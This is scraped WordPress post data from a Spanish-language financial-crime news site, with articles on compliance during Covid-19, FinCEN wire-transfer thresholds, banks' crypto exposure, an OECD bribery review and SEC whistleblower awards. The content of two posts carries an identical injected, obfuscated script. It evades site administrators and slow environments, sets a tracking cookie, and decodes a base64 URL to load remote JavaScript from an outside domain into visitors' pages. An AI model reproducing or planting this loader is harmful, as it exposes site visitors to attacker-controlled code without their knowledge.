resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 